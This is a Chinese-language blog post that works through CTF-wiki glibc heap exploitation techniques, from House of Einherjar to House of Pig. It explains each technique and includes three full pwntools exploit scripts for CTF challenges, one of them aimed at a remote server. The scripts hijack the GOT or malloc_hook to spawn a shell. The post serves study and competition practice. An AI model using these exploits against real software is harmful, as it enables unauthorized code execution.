0%

wiki上的house系列

wiki上的house系列

House Of Einherjar

思路:主要还是利用unlink,如果程序可以修改prev_size和prev_inuse,那向后合并的时候就可以指向后面任意一个堆了。(overlap)

House Of Force

思路:利用top_chunk完成任意地址申请,当申请堆时,如果要用top_chunk时,就会比较申请的堆和top_chunk的大小,如果大于的话就会在top_chunk上切割一块下来,假如先修改top_chunk的size为0xffffffffffffffff(比较大小时化作无符号数,因此这个数是最大的),我们再申请一个负数,那最后top_addr=原来的top_chunk的地址减去申请的数,只要计算好确定的offest,就可以把top_chunk挪移到任意地址,然后再申请出来就好了。

例题:HITCON training lab 11

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
sh=process("./pwn")
context.log_level='debug'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./pwn')
def add(size,content):
sh.recvuntil('Your choice:')
sh.sendline('2')
sh.recvuntil('Please enter the length of item name:')
sh.sendline(str(size))
sh.recvuntil('Please enter the name of item:')
sh.send(content)

def edit(idx,length,content):
sh.recvuntil('Your choice:')
sh.sendline('3')
sh.recvuntil('Please enter the index of item:')
sh.sendline(str(idx))
sh.recvuntil('Please enter the length of item name:')
sh.sendline(str(length))
sh.recvuntil('Please enter the new name of the item:')
sh.sendline(content)

def free(idx):
sh.recvuntil('Your choice:')
sh.sendline('4')
sh.recvuntil('Please enter the index of item:')
sh.sendline(str(idx))

def show():
sh.recvuntil('Your choice:')
sh.sendline('1')


#house of force
add(0x100,'a')#0
add(0x500,'a')#1
add(0x100,'a')#2
add(0x100,'a')#3
edit(0,0x120,'a'*0x100+p64(0)+p64(0x510+0x110+1))
free(1)
add(0x500,'a')
show()
sh.recvuntil('2 : ')
libc_base=u64(sh.recv(6).ljust(8,'\x00'))-libc.sym['__malloc_hook']-0x10-88
print hex(libc_base)
edit(3,0x200,'a'*0x100+p64(0)+p64(0xffffffffffffffff))
target_addr=libc_base+libc.sym['__malloc_hook']
add(0x30,'a')#4
add(0xc0,'a')#5
add(0x30,'a')#6
add(0x30,'a')#7
free(6)
free(4)
show()
sh.recvuntil('2 : ')
top_addr=u64(sh.recv(4).ljust(8,'\x00'))+0x80
print hex(top_addr)
atoi_addr=elf.got['atoi']
offset=atoi_addr-top_addr-0x20
print hex(offset)
add(offset,'a')
system=libc_base+libc.sym['system']
add(0x8,p64(system))
sh.recvuntil('Your choice:')
sh.sendline('/bin/sh\x00')
gdb.attach(sh)
sh.interactive()

House of Lore

是针对smallbin的攻击,感觉这个挺好用的,以后可以多试试

思路:当需要从smallbin上面脱掉最后一个链时,需要倒数第二个链和bin进行链表处理,会执行以下代码

1
2
3
4
5
6
7
8
9
10
11
12
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;

可见,主要控制bk,然后伪造一个chunk通过bck->fd != victim判断,就可以让一个伪造的chunk进入smallbin

感觉当没开启pie的时候可以完成堆到bss的申请。

House of Orange

思路:当申请的堆的大小大于top_chunk时,top_chunk就会被free掉进入bin,当程序没有free功能时可以利用这个特性完成free_chunk,但一般程序会对申请大小做限制,不会超过top_chunk_size,所以要通过溢出修改top_chunk大小,不过也不能随便修改,得让top_chunk_size+top_chunk_addr是0x1000的整数倍才行。

例题:ductf上的pwn1的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
#sh=process('./main')
sh=remote('47.106.172.144',65001)
context.log_level='debug'
#gdb.attach(sh,'b main')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#libc=ELF('./libc-2.23.so')
elf =ELF('./main')
ogg=[0x45226,0x4527a,0xf03a4,0xf1247]
def add(count):
sh.recvuntil('> ')
sh.sendline('1')
sh.recvuntil('List count: ')
sh.sendline(str(count))

def show_item(list_id,item_id):
sh.recvuntil('> ')
sh.sendline('2')
sh.recvuntil('List id: ')
sh.sendline(str(list_id))
sh.recvuntil('Item id: ')
sh.sendline(str(item_id))

def overwrite(list_id,star_id,end_id,number):
sh.recvuntil('> ')
sh.sendline('4')
sh.recvuntil('List id: ')
sh.sendline(str(list_id))
sh.recvuntil('Star id: ')
sh.sendline(str(star_id))
sh.recvuntil('End id: ')
sh.sendline(str(end_id))
sh.recvuntil('New number: ')
sh.sendline(str(number))

def edit(list_id,item_id,number):
sh.recvuntil('> ')
sh.sendline('3')
sh.recvuntil('List id: ')
sh.sendline(str(list_id))
sh.recvuntil('Item id: ')
sh.sendline(str(item_id))
sh.recvuntil('New number: ')
sh.sendline(str(number))


add(23)
overwrite(0,23,23,0x1311)
add(0x1400)
add(23)
overwrite(0,29,29,0x50000000)
show_item(2,24)
libc.address=int(sh.recvuntil('\n').split(': ')[1])-libc.symbols['__malloc_hook']-0x10-88
print hex(libc.address)
system=libc.symbols['system']
atoi_got=elf.got['atoi']
print hex(atoi_got)
print hex(system)
overwrite(0,24,24,atoi_got)
overwrite(0,25,25,0x50000000)
edit(1,0,system)
sh.recvuntil('> ')
sh.sendline('/bin/sh\x00')
sh.interactive()

House of Rabbit

以前打比赛遇见过

思路:利用的是fastbin的 malloc consolidate,当申请的堆块的大小大于fasbin的最大值的时候就会触发malloc_consolidat,如果没有使用的话就会把相邻的堆块进行合并,然后放到smallbin上面,合并当然是ublink,无非就是利用prev_size和自身的size来完成合并,只要伪造size就可以完成后面的任意堆合并了。

正常堆块

image-20220111154212459

完成伪造后

image-20220111154245300

然后再申请一个大堆,就完成chunk2和chunk4的合并了,完成overlap

malloc_consolidat不仅可以用来完成overlap,当能申请的堆很小的时候,还可以通过他把小堆合并放到smallbin上面达到leak出libc地址

House of Roman

主要用途,当没有leak函数时通过爆破来完成getshell(感觉要看脸)

前情提要:当一个程序开启pie时虽然基地址是随机的(但随机的很有限),由于是分页管理,所以基地址的最后十二位是0,具体到某一个代码的地址就是基地址加上这个代码的偏移量,如果两个代码的地址不超过0xfff(当然超过也行,别太大就行),就可以通过修改最后十二位来让这个地址指向另一个代码,但是修改数据是8个字节8个字节修改,第十二位到第十六位不清楚,只能采用爆破的方法来猜正确地址,这个攻击手法就利用这个思路。

思路:unsortedbin上面libc地址和malloc_hook地址很接近,可以通过爆破把这个地址改成malloc_hook,然后把这个堆分配到fasbin上面,申请到mallo_hook附近的空间,然后通过unsortedbin_attack把malloc_hook写上libc的地址,然后再通过爆破的方法把这个地址改成ogg,然后触发malloc_hook(申请或者doublefree)完成getShell,这里帖一个别人梳理的具体步骤

image-20220111160730455

例题 new_chall

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
sh=process('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
ogg=[0x45226,0x4527a,0xf03a4,0xf1247]

def add(size,idx):
sh.recvuntil('3. Free')
sh.sendline('1')
sh.recvuntil('Enter size of chunk :')
sh.sendline(str(size))
sh.recvuntil('Enter index :')
sh.sendline(str(idx))

def edit(idx,content):
sh.recvuntil('3. Free')
sh.sendline('2')
sh.recvuntil('Enter index of chunk :')
sh.sendline(str(idx))
sh.recvuntil('Enter data :')
sh.send(content)

def free(idx):
sh.recvuntil('3. Free')
sh.sendline('3')
sh.recvuntil('Enter index :')
sh.sendline(str(idx))

def pwn():
add(0x18,0)
add(0xa0,1)
add(0x10,2)
edit(1,'a'*0x68+p64(0x41))
free(1)
add(0xa0,3)
add(0x68,4)
add(0x68,5)
add(0x68,6)
add(0x68,13)
free(4)
free(5)
edit(0,'a'*0x18+'\x71')
edit(5,p16(0x7020))
edit(1,p16(0x1aed))
add(0x68,7)
add(0x68,8)
add(0x68,9)
free(13)
edit(13,p64(0))
add(0x100,10)
add(0x20,11)
free(10)
edit(10,'a'*8+p16(0x1b00))
add(0x100,12)
edit(9,'a'*0x13+'\xa4\xd3\xaf')
#gdb.attach(sh)
free(7)
free(7)
sh.interactive()
sh.recvuntil('Enter name :')
sh.sendline('rootzhang')
pwn()

House of Pig

涉及了io_file,暂时不做总结